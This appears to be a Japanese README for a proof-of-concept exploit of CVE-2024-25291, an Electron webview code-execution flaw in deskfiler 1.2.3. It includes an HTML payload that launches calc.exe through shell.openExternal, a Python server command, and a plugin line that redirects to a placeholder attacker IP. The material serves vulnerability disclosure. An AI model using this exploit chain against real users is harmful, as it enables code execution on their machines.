DeskFiler RCE

CVE-2024-25291 脆弱性の概念実証（Proof-of-Concept）です。

deskfiler - 1.2.3 は、アプリケーション内の Electron webview を許可し、結果としてリモートコード実行が可能になります。このリポジトリには、脆弱なアプリケーションの例と、その概念実証（POC）エクスプロイトが含まれています。

PoC として、プロセスを自動化する Python ファイルが用意されています。

1.脆弱性の概要:

脆弱性の対象: RCE を介したオープンリダイレクト
影響を受けるバージョン: deskfiler-1.2.3
問題の顕在化: Electron Webview
攻撃種別: リモートコード実行
攻撃ベクトル: 脆弱性を悪用するには、ユーザーがプラグインを開く必要があります。
予約済み CVE 番号: CVE-2024-25291

2. 脆弱性の原因:

エクスプロイトの説明
- アプリケーション内の特定のセクションで、Electron の Webview を通じて外部リンクにアクセスする部分が確認できました。したがって、これを利用して攻撃者のサーバーに接続することで、RCE を達成することが可能です。

概念実証（POC）

ステップ 1) 攻撃者のサーバーを準備し、悪意のあるプラグインを作成します。

<html>
 <head>
 <title>jruru</title>
 </head>
 <body>
 <script>
 const { shell } = require('electron');
 shell.openExternal('file:C:/Windows/System32/calc.exe');
 </script>
 </body>
 </html>

※ すぐにテストしたい場合は、攻撃者の PC に次のコードでサーバーを作成してください。

$ python -m http.server 80

注記: ※ ここでは、プラグインは攻撃者が作成したプラグインであり、攻撃者サーバーへアクセスさせるためのコードが追加された通常のプラグインであると想定しています。簡単なテストのため、BareBone を選択しました。 deskfiler1

次に、BareBone フォルダ内の index.js ファイルに、次のコードを追加します。

window.location='http://[attacker_ip]/hack.html'

ステップ 2) 被害者のサーバー上で Deskfiler を実行し、「Add new plugin」から BareBone プラグインをインストールします。

deskfiler3

3. 追加情報

この PoC ではプラグインを利用しましたが、別の攻撃ベクトルを用いれば、単独でリモートコード実行（RCE）を達成することが可能であると考えています。さらに、Stored XSS や Reflected XSS などのサーバーサイドの脆弱性が存在する場合も、RCE は実行可能であると考えられます。

CVE-2024-25291